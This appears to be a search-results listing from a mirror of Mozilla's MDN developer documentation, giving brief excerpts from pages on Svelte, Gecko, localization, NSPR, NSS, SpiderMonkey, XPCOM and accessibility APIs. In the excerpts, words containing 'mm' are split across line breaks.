Starting our Svelte Todo list app - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
... moreover, our editor can display this warning even before calling the compiler: you can tell svelte to ignore this warning for the next block of markup with a co
mment beginning with svelte-ignore, like this: <!-- svelte-ignore a11y-missing-attribute --> <img height="32" width="88" src="https://udn.realityripple.com/samples/b0/98dase3c7d.png"> note: with vscode you can automatically add this ignore co
mment by clicking on the quick fix...
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 su
mmary with our markup and styling in place our todo list app is starting to take shape, and we have everything ready so that we can start to focus on the features we have to implement.
Dynamic behavior in Svelte: working with variables and props - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...update it with a click event, like so: <button type="button" class="btn btn__danger" on:click={() => removetodo(todo)} > delete <span class="visually-hidden">{todo.name}</span> </button> a very co
mmon mistake with handlers in svelte is to pass the result of executing a function as a handler, instead of passing the function.
... repl to see the current state of the code in a repl, visit: https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 su
mmary that will do for now!
Understanding client-side web development tools - Learn web development
client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most co
mmon client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the co
mmand line.
...co
mmand line crash course in your development process you'll undoubtedly be required to run some co
mmand in the terminal (or on the "co
mmand line" — these are effectively the same thing).
... this article provides an introduction to the terminal, the essential co
mmands you'll need to enter into it, how to chain co
mmands together, and how to add your own co
mmand line interface (cli) tools.
Accessibility/LiveRegionDevGuide
as always, we're open to questions and suggestions for changes in co
mmunity forums.
... filtering for performance the most significant difference between at-spi and iaccessible2 is that at-spi is an inter-process co
mmunication service while iaccessible2 runs in process.
...in this case, 'main' channel messages are queued according to the 'live' property and 'alert' channel messages bypass the queue and are output i
mmediately.
Accessibility information for UI designers and developers
this is specifically important in these cases: the user input is about legal co
mmitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors.
...it is reco
mmended to use native controls, visibly or under the hood.
... see also: heading elements join the mozilla accessibility co
mmunity live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
Multiprocess on Windows
arraydata contains seven fields: iid miid; ulong
mmethodindex; ulong marrayparamindex; vartype marrayparamtype; iid marrayparamiid; ulong mlengthparamindex; flag mflag; miid is the uuid of the interface owning the function.
...
mmethodindex is the vtable index of the function within its interface.
...for example, if interface ifoo inherits from iunknown, the lowest possible
mmethodindex for ifoo could be 3, because indices 0, 1, and 2 are occupied by the functions that ifoo inherited from iunknown.
Adding a new event
basicevents.h this header file should be used only for defining generic purpose event class such as a co
mmon super class of various event classes.
... however, there are some hints: set meventisinternal in the constructor of the most descendant class because each constructor creates du
mmy internal event instance at calling constructors of its super class.
...see the co
mments of the head of the file for the detail.
Continuous Integration
when you push a co
mmit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure.
... when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional co
mmits).
... below is a list of the most co
mmon.
Creating JavaScript callbacks in components
a co
mmon pattern used with interfaces to create a bi-directional co
mmunication between two groups of code is the observer (or listener) pattern.
...javascript functions as callbacks another co
mmon use of the pattern is found in addeventlistener / removeeventlistener.
...remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely co
mmon to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); revealing the magic how is this possible?
Gecko Logging
set moz_log="example_logger:3" in the windows co
mmand prompt (cmd.exe), don't use quotes: set moz_log=example_logger:3 if you want this on geckoview example, use the following adb co
mmand to launch process: adb shell am start -n org.mozilla.geckoview_example/.geckoviewactivity --es env0 "moz_log=example_logger:3" there are special module names to change logging behavior.
... sync print each log synchronously, this is useful to check behavior in real time or get logs i
mmediately before crash.
... it is co
mmon for debug and trace to be disabled at compile time in release builds, so you may need a debug build if you want logs from those levels.
Reviewer Checklist
co
mmonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and review".
... android permissions should be 'grouped' into a co
mmon release to avoid breaking auto-updates.
... documentation the co
mmit message should describe what the patch is changing (not be a copy of the bug su
mmary).
Index
found 172 pages: # page tags and su
mmary 1 firefox firefox, landing, mozilla here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
... 3 building firefox with rust code build documentation, gecko, build, rust in may 2015 the rust progra
mming language reached its 1.0 stability milestone, and various experiments with writing parts of gecko in rust began.
... 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, performance this article will help firefox developers understand the security controls in place and avoid co
mmon pitfalls when developing front-end code for firefox.
Process scripts
the following code uses the global parent process message manager, which will load the script into the the chrome process and any child processes: // chrome code let pp
mm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); pp
mm.loadprocessscript("chrome://whatever/process-script.js", true); pp
mm.addmessagelistener("hello", function(msg) { ...
... this can be achieved by traversing the docshell tree up to the top window and then retrieving its content message manager, as follows: function content
mmfromcontentwindow(window) { let tree = window.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidocshelltreeitem); let top = tree.sametyperoottreeitem; let iface = queryinterface(ci.nsidocshell).queryinterface(ci.nsiinterfacerequestor); return iface.getinterface(ci.nsicontentframemessagemanager); } this is intended for unprivileged pages running in a content process.
... if the above doesn't work try this: function content
mmfromcontentwindow_method2(acontentwindow) { return acontentwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidocshell) .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsicontentframemessagemanager); } ...
Gecko's "Almost Standards" Mode
a co
mmon case that this affects is the layout of images inside table cells.
... reco
mmendations for authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-table design concepts, make sure to use a doctype that will trigger "almost standards" mode.
...meyer, netscape co
mmunications last updated date: published 08 nov 2002 copyright information: copyright © 2001-2003 netscape.
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to co
mmon problems that arise when handling multiple threads in the chrome process, for example co
mmunication between workers and multiple child processes and other parent-process worker threads.
... ipdl recap ipdl is a language used to define "protocols" — essentially formalized versions of how two things can co
mmunicate.
... not every co
mmunication between the chrome and content processes necessarily wants to go through the main threads of both (or even either) processes.
Integrated Authentication
spnego is co
mmonly referred to as the "negotiate" authentication protocol.
... the preferences are: pref("network.negotiate-auth.trusted-uris", site-list); pref("network.negotiate-auth.delegation-uris", site-list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a co
mma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for which the browser may delegate user authorization to the server.
... original document information author(s): darin fisher last updated date: december 27, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Addon
for some add-ons this will change i
mmediately based on the appdisabled and userdisabled properties; for others it will only change after an application restart.
... fulldescription read only string developerco
mments read only string eula read only string icon64url read only string supporturl read only string contributionurl read only string contributionamount read only string averagerating read only number reviewcount read only integer reviewurl read only str...
...if possible the uninstall will happen i
mmediately, otherwise it will wait until the next application restart.
Assert.jsm
the assert.jsm javascript code module implements the co
mmonjs unit testing specification version 1.1, which provides a basic, standardized interface for performing in-code logical assertions with optional, customizable error reporting.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://testing-co
mmon/assert.jsm"); the assert class offers methods for performing co
mmon logical assertions.
...xpected, message, operator ); parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-co
mmon/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
JNI.jsm
the most co
mmon use for this module is in add-ons and other works on firefox for android (fennec).
... jni.jsm contains all the js-ctypes needed to co
mmunicate with the jni libraries.
...therefore, it is always reco
mmended to use slash notation.
Promise
see handling errors and co
mmon pitfalls below.
... new promise(executor); parameters executor this function is invoked i
mmediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed.
... handling errors and co
mmon pitfalls you should report unhandled errors, unless you're handing off the promise to a caller or another code path that will handle the error.
Services.jsm
the services.jsm javascript code module offers a wide assortment of lazy getters that simplify the process of obtaining references to co
mmonly used services.
...ocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cp
mm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlin...
... els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2
mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service pp
mm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences...
Localization and Plurals
usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a gra
mmatical rule on how to change words, depending on the number qualifying the word.
...e correct plural form for 10 downloads: "you have 10 downloads.") print("you have " + num + " " + pluralform.get(num, downloads) + "."); // try again with a different value: "you have 1 download." num = 1; print("you have " + num + " " + pluralform.get(num, downloads) + ".") the above example works, but is still difficult to localize, because we're concatenating strings assuming a particular gra
mmatical structure.
... function that returns the number of plural forms] */ [string pluralform get(int anum, string awords), int numforms numforms()] makegetter(int arulenum) here is an example usage of makegetter: components.utils.import("resource://gre/modules/pluralform.jsm"); // let's get irish (plural rule #11) let [get, numforms] = pluralform.makegetter(11); // make up some values to use with "get" let du
mmytext = "form 1;form 2;form 3;form 4;form 5"; let du
mmynum = 10; // in the case of irish, the value 10 uses plural form #4, so "form 4" is printed print(get(du
mmynum, du
mmytext)); in this example, the irish plural rule was hardcoded, but this could be a value specified in the .properties file.
Localizing with Mozilla Translator
getting started with mozillatranslator mt uses products as groups of localization files with a co
mmon root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt.
... finally, you co
mmit your changes outside of mt, using your favorite repository tools.
... frenchmozilla has just [http://groups.google.es/group/mozill...eaf9f1322fa2fb announced] they are providing an en-us only mercurial repository comprising both mozilla-central and co
mm-central.
Localizing with Pontoon
user menu allows for user-specific tasks, like co
mmiting to repository, downloading files and signing out.
...co
mments) opens.
... publishing your localization suppose you now want to publish your l10n work by co
mmitting it to a repo.
Patching a Localization
cd ~/localization-workdir/gl create a patch (also known as a diff) using the diff co
mmand.
... hg diff this co
mmand creates a patch and lists your modifications through displaying the differences in a unified patch's files.
...the co
mmand will only print the differences found in the selected files.
Translation phase
it's up to you and your co
mmunity to determine which l10n tool will best suit your needs.
... babelzilla adofex tool-independent localization are you a co
mmand-line master?
...this is where you research and select the search plugins, content and protocol handlers, bookmarks, and links to reco
mmended sites on the in-product pages that your locale's users will find in their mozilla products.
Localization sign-off reviews
does not need to be approved before revision merge between release channels, although it is reco
mmended.
...this is a co
mmon problem with some tools.
... further indications of tool-originated corruption this is co
mmon.
Writing localizable code
about localizers a few notes about localizers for developers who rarely deal with them: localizers like tools, and they don't like editors, localization tools are often based on key-value pairs, at least some localizers have their talents focused on language skills and are not savvy in progra
mming, or even building applications.
... try not to assume gra
mmar in composite strings splitting sentences into several keys often inadvertently presumes a gra
mmar, a sentence structure, and such composite strings are often very difficult to translate.
...using a directory structure like this eases the localization process without the source code and is especcially reco
mmended to extension authors.
Mozilla Framework Based on Templates (MFBT)
mfbt code goes to some length to document all its interfaces in co
mments, including examples when possible.
... it also attempts to define its functionality in well-named files, such that simply ski
mming the contents of mfbt/ will quickly suggest the relevant header to examine.
... therefore this document primarily attempts to direct readers to the correct file to read those co
mments.
Mozilla DOM Hacking Guide
please send any co
mment to fabian guisset.
...however a co
mmon technique is to do window.location = "http://mozilla.org" instead of the correct window.location.href = "http://mozilla.org".
... original document information author(s): fabian guisset last updated date: september 27, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Mozilla Port Blocking
"access to the port number given has been disabled for security reasons." "establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (ns_error_port_access_not_allowed)" if your product or web site uses a port which is blocked by mozilla's default port blocking rules, you can either change the port of your service to a unblocked value (reco
mmended if possible) or ask your mozilla users to enable the port.
...modifying mozilla's port blocking at run time users can modify the default port blocking through the addition of preferences containing co
mma delimited lists of port numbers to the user.js file (for single users with the user_pref(…) co
mmand) in the user's profile directory.
... more information nsioservice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Mozilla Development Strategies
take extra time to do it right the first time it's also better to come up with one really solid, well tested, well co
mmented, clean, easy to maintain piece of code than a bunch of quick fixes.
...you'll need this one for regressions that require your i
mmediate attention (a new crasher, a blocker, or problem in your area, for example).
...cvs co
mmit client.mak nmake -f client.mak original document information author(s): seth spitzer and alec flett last updated date: september 3, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Mozilla projects on GitHub
mozilla-appmaker the appmaker project -- a web tool to let non-progra
mmers create apps.
... opennews the knight-mozilla open news project, helping the journalism/technology co
mmunity do great work through shared knowledge and code.
... rust-lang the rust progra
mming language, designed for safe concurrent code.
Refcount tracing and balancing
xpcom_mem_log_classes this variable should contain a co
mma-separated list of names which will be used to compare against the types of the objects being logged.
... you may use an object's serial number with the following variable to further restrict the reference count tracing: xpcom_mem_log_objects set this variable to a co
mma-separated list of object serial number or ranges of serial number, e.g., 1,37-42,73,165 (serial numbers start from 1, not 0).
...h
mm...this probably isn't okay, especially because...
tools/power/rapl
tools/power/rapl (or rapl for short) is a co
mmand-line utility in the mozilla tree that periodically reads and prints all available intel rapl power estimates.
... once sampling is finished — either because the user interrupted it, or because the requested number of samples has been taken — the following su
mmary data is shown: 10 samples taken over a period of 10.000 seconds distribution of 'total' values: mean = 8.85 w std dev = 3.50 w 0th percentile = 5.17 w (min) 5th percentile = 5.17 w 25th percentile = 5.17 w 50th percentile = 8.13 w 75th percentile = 11.16 w 95th percentile = 14.63 w 100th percentile = 14.63 w (max) the distribution data is omitted if there ...
... combining with powermetrics on mac, you can use the mach power co
mmand to run rapl in combination with powermetrics in a way that gives the most useful su
mmary measurements for each of firefox, chrome and safari.
About NSPR
it strives to not export the lowest co
mmon denominator, but to exploit the best features of each operating system on which it runs, and still provide a uniform service across a wide range of host offerings.
...hoare in monitors: an operating system structuring concept , co
mmunications of the acm, 17(10), october 1974 and then formalized by xerox' mesa progra
mming language ("mesa language manual", j.g.
...depending on the platform, the functions may be implemented almost entirely in the nspr runtime or simply shims that call i
mmediately into the host operating system's offerings.
NSPR build instructions
prerequisites on windows, the nspr build system needs gnu make and a unix co
mmand-line utility suite such as mks toolkit, cygwin, and msys.
... these two options can actually be used independently, but it's not reco
mmended.
...we reco
mmend most applications use the "win95" configuration.
I/O Functions
for information about the types most co
mmonly used with the functions described in this chapter, see i/o types.
...s type praccesshow functions that act on file descriptors pr_close pr_read pr_write pr_writev pr_getopenfileinfo pr_getopenfileinfo64 pr_seek pr_seek64 pr_available pr_available64 pr_sync pr_getdesctype pr_getspecialfd pr_createpipe directory i/o functions pr_opendir pr_readdir pr_closedir pr_mkdir pr_rmdir socket manipulation functions the network progra
mming interface presented here is a socket api modeled after the popular berkeley sockets.
... pr_createfilemap pr_me
mmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor.
Locks
lock type lock functions in nspr, a mutex of type prlock controls locking, and associated condition variables co
mmunicate changes in state among threads.
... when a progra
mmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data.
...monitors in this generic sense should not be confused with monitors used in java progra
mming.
NSS Sample Code sample2
nss sample code 2: sy
mmetric encryption /* example code to illustrate des enccryption/decryption using nss.
... * note: iv is only needed if cipher blocking chaining (cbc) mode of encryption * is used * * the reco
mmended approach is to store and transport wrapped (encrypted) * des keys (ivs can be in the clear).
... however, it is a co
mmon (and dangerous) * practice to use raw des keys.
NSS Sample Code sample6
nss sample code 6: persistent sy
mmetric keys in nss database /* example code to illustrate generation of a secret sy
mmetric key ring * that persists in the nss database.
... the sy
mmetric keys can then be used * without ever exposing them in the clear.
... * in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure co
mmunication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
TLS Cipher Suite Discovery
in order to co
mmunicate securely, an tls client and tls server must agree on the cryptographic algorithms and keys that they will both use on the secured connection.
...when a new version of a tls implementation is made available for use by applications, those applications may wish to i
mmediately use the newly supported cipher suites found in the new version, without the application needing to be modified and re-released to know about these new cipher suites.
...r { pruint16 length; pruint16 ciphersuite; /* cipher suite name */ const char * ciphersuitename; /* server authentication info */ const char * authalgorithmname; sslauthtype authalgorithm; /* key exchange algorithm info */ const char * keatypename; sslkeatype keatype; /* sy
mmetric encryption info */ const char * symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; pruint16 symkeyspace; pruint16 effectivekeybits; /* mac info */ const char * macalgorithmname; sslmacalgorithm macalgorithm; pruint16 macbits; pruintn isfips ...
Rhino Examples
the checkparam.js script is a useful tool to check that @param tags in java documentation co
mments match the parameters in the corresponding java method.
...controlling the javascript engine the runscript class runscript.java is a simple program that executes a script from the co
mmand line.
...the programs may be specified as files on the co
mmand line or by typing interactively while the shell is running.
Creating JavaScript jstest reftests
it is maintained by tc39, the ecmascript standard's technical co
mmittee.
... if your test needs to use browser-specific features, either: make the test silently pass if those features aren't present; or write a mochitest instead (preferred); or at the top of the test, add the co
mment // skip-if(xulruntime.shell), so that it only runs in the browser.
... if your test needs to use shell-specific features, like gc(), either: make the test silently pass if those features aren't present; or make it a jit-test (so that it never runs in the browser); or at the top of the test, add the co
mment // skip-if(!xulruntime.shell), so that it only runs in the shell.
How to embed the JavaScript engine
js::compileoptions opts(cx); opts.setfileandline(filename, lineno); bool ok = js::evaluate(cx, opts, script, strlen(script), &rval); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_shutdown(); return 0; } build and run the hello world example build co
mmand line depends on the os and the tools.
... here are sample mac and linux co
mmand lines (where <objdir> is the directory where spidermonkey was built): # if you're using debug build of spidermonkey, you need -ddebug in addition to the co
mmand below.
... run the helloworld executable at the co
mmand line: ./helloworld how to call c functions from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool.
Tracing JIT
it is correspondingly very simple: register allocation is done i
mmediately, step-by-step as code is being generated.
...the associated fragment is placed in the monitor's fragment table and the monitor returns to monitoring mode, with a high likelihood of i
mmediately transitioning to executing mode on the next bytecode interpreted.
...if that pc has itself grown hot, the monitor will i
mmediately transition to recording mode starting with the exiting pc.
JSAPI User Guide
*/ js_reporterror(cx, "co
mmand failed with exit code %d", rc); return false; } this is very much like the javascript statement throw new error("co
mmand failed with exit code " + rc);.
... besides its name, * each property has a "tiny" identifier (my_color, e.g.) that can be used * in switch statements (in a co
mmon my_getproperty function, for example).
...this model provides a co
mmon security interface, but the actual security implementation is up to you.
JS::HandleValueArray
syntax js::handlevaluearray(const js::rootedvalue& value); js::handlevaluearray(const js::autovaluevector& values); js::handlevaluearray(const js::autovaluearray<n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::fro
mmarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue & an element of newly created 1-length array.
... len size_t (fro
mmarkedlocation only) length of elements array or (subarray only) length of sub array of values.
... elements js::value * (fro
mmarkedlocation only) a pointer to the first element of an array of js::value.
JS_SetBranchCallback
if the callback returns js_false without raising an exception, then the javascript engine i
mmediately stops running the script with an uncatchable error.
...a co
mmon technique is to use a counter.
... the callback simply increments the counter and does nothing further (returning js_true i
mmediately) unless the counter has reached the threshold value.
JS_SetOptions
this flag is reco
mmended.
... mxr id search for jsoption_atline jsoption_xml obsolete since jsapi 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the co
mment-hiding hack used in html script tags.
... mxr id search for jsoption_allow_xml jsoption_moar_xml added in spidermonkey 15 ecmascript for xml (e4x) support: parse <!-- --> as a token, not backward compatible with the co
mment-hiding hack used in html script tags.
Running Automated JavaScript Tests
another co
mmon use case is to run just one test, or all the tests in just one directory: jstests.py path_to_js_shell test_path_substring [ test_path_substring_2 ...
...for a smoke test or if you are not changing language-level functionality, you may wish to use jstests.py path_to_js_shell --exclude=test262 other options allow you to show the test co
mmand lines being run, co
mmand output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run skipped tests, print output in tinderbox format, run a test in the debugger, or run tests in valgrind.
... running jstest in a browser jstests also runs on browser, with the following co
mmand: ./mach jstestbrowser to run specific test, you can use --filter=pattern co
mmand-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "j...
SpiderMonkey: The Mozilla JavaScript runtime
using spidermonkey introduction to the javascript shell documentation of the co
mmand-line javascript shell, js.
... jsapi cookbook shows the jsapi translation of some co
mmonly used javascript expressions and statements.
... spidermonkey internals: gc separate internals article on the gc spidermonkey internals: hacking tips collection of helpful tips & tools for hacking on the engine related topics javascript foss projects using or based on spidermonkey releases spidermonkey release notes current and past versions: 52, 45, 38, 31, 24, 17 co
mmunity mailing list spidermonkey questions on stack overflow report a bug ...
WebReplayRoadmap
this requires scanning the recording and the console will not update i
mmediately.
... recordings can be manually analyzed to determine this information, but it would be nice to automate this process and provide a su
mmary of the allocation sites and places where objects are linked together that end up entraining the most amount of memory later on.
... while cloud integration is not in placer, web replay's architecture has recently been redesigned in preparation for cloud support, and co
mmunicating with replaying processes over a network connection instead of ipc should work pretty efficiently.
AT APIs Support
this is done to ensure a co
mmon look and feel across all supported platforms, and to allow for different skins (appearances).
...(i reco
mmend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools.
... msaa msaa sdk tools - version 1.3 is reco
mmended instead of 2.0 because it includes source code for the tools iaccessible2 accessibility probe -- includes msaa support as well atk/at-spi accerciser - interactive python accessibility explorer for the gnome desktop gecko dom inspector has an ability to test gecko accessibility layer, supports base features.
Retrieving part of the bookmarks tree
it contains administrative data as well as user data, and is therefore not reco
mmended for use in querying.
...var rootnode = result.root; rootnode.containeropen = true; // iterate over the i
mmediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
...service = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; query.setfolders([toolbarfolder], 1); var result = historyservice.executequery(query, options); var rootnode = result.root; rootnode.containeropen = true; // iterate over the i
mmediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
Creating a Python XPCOM component
it is helpful to then start mozilla from the co
mmand line to see if new components register successfully.
... # _reg_clsid_ = "{a new clsid generated for this object}" # _reg_contractid_ = "the.object.name" def get_value( self ): # result: string pass def set_value( self, param0 ): # result: void - none # in: param0: string pass as you can see, the output is valid python code, with basic signatures and useful co
mments for each of the methods.
... testing it to see this work, you will have to start firefox from the co
mmand line, since that'll be where the stuff will be printed out.
Building the WebLock UI
<separator class="thin"/> <hbox align="center"> <textbox id="url.input" flex="1"/> <button label="add this url" onco
mmand="addthissite();"/> </hbox> this snippet introduces a couple of new general layout widgets in xul.
...ager" style="width: 30em;" persist="screenx screeny" screenx="24" screeny="24"> <script src="chrome://weblock/content/weblock.js"/> <hbox> <separator orient="vertical" class="thin"/> <vbox flex="1"> <separator class="thin"/> <hbox align="center"> <textbox id="dialog.input" flex="1"/> <button label="add this url" onco
mmand="addthissite();"/> </hbox> <hbox align="center"> <radiogroup onchange="togglelock();"> <radio label="lock"/> <radio label="unlock"/> </radiogroup> <spacer flex="1"/> </hbox> </vbox> </hbox> </dialog> overlaying new user interface into mozilla you've got a dialog that will interact with the weblock component, but how do you...
... <overlay id="weblockoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://weblock/content/weblock.js"/> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-status" onco
mmand="loadweblock();" status="none"/> </statusbar> </overlay> note that the root element for this file is not a <window/> but an <overlay/>.
Preface
though you can create xpcom components in javascript and other languages, and though you might be able to follow along as a c progra
mmer, the component implementation code is written in c++, and much of the discussion of how to make your codeinto an xpcom component starts from c++.
...details about downloading the sdk, building, and getting progra
mmatic access to gecko components are provided in the appendix to this book, setting up the gecko sdk.
...those terms are either explained i
mmediately after they are cited, or else the reader is referred to a section in the book where they are described in detail.
Components.Constructor
su
mmary creates a javascript function which can be used to create or construct new instances of xpcom components.
...the component is then returned i
mmediately, with only the base interface nsisupports available on it; you must call nsisupports.queryinterface() on it to call methods on the object.
....org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized previously var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other co
mmon methods.
Language bindings
apped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.components.utils.unwaivexraysundo a previous call to components.utils.waivexrays(), restoring xray vision for the caller.components.utils.waivexrayswaives xray vision for an object, giving the caller a transparent wrapper to the underlying object.javaxpcomjavaxpcom allows for co
mmunication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
...the resources here provide information about this language binding and how to use it.pyxpcompyxpcom allows for co
mmunication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface.
... pyxpcom is actively used in activestate komodo products, for example.rbxpcomrbxpcom (ruby cross-platform com) provides bindings between the popular ruby progra
mming language and xpcom.
nsDependentCString
class declaration nstdependentstring_chart stores a null-terminated, i
mmutable sequence of characters.
... subclass of nststring that restricts string value to an i
mmutable character sequence.
... @param aset -- contains chars to be tri
mmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsDependentString
class declaration nstdependentstring_chart stores a null-terminated, i
mmutable sequence of characters.
... subclass of nststring that restricts string value to an i
mmutable character sequence.
... @param aset -- contains chars to be tri
mmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
IAccessibleComponent
locationinparent() returns the location of the upper left corner of the object's bounding box relative to the i
mmediate parent object.
...[propget] hresult locationinparent( [out] long x, [out] long y ); parameters x the x coordinate of the upper left corner of the object's bounding box relative to the i
mmediate parent object.
... y the y coordinate of the upper left corner of the object's bounding box relative to the i
mmediate parent object.
IAccessibleTable
n), length_is(, nchildren)] long children, [out] long nchildren ); [propget] hresult selectedcolumns([in] long maxcolumns, [out, size_is(,maxcolumns), length_is(, ncolumns)] long columns, [out] long ncolumns ); [propget] hresult selectedrows([in] long maxrows, [out, size_is(,maxrows), length_is(, nrows)] long rows, [out] long nrows ); hresult selectrow([in] long row ); [propget] hresult su
mmary([out] iunknown accessible ); hresult unselectcolumn([in] long column ); hresult unselectrow([in] long row ); methods accessibleat() returns the accessible object at the specified row and column in the table.
...su
mmary() returns the su
mmary description of the table.
...[propget] hresult su
mmary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's su
mmary or a null pointer if the table does not support a su
mmary.
IAccessibleTable2
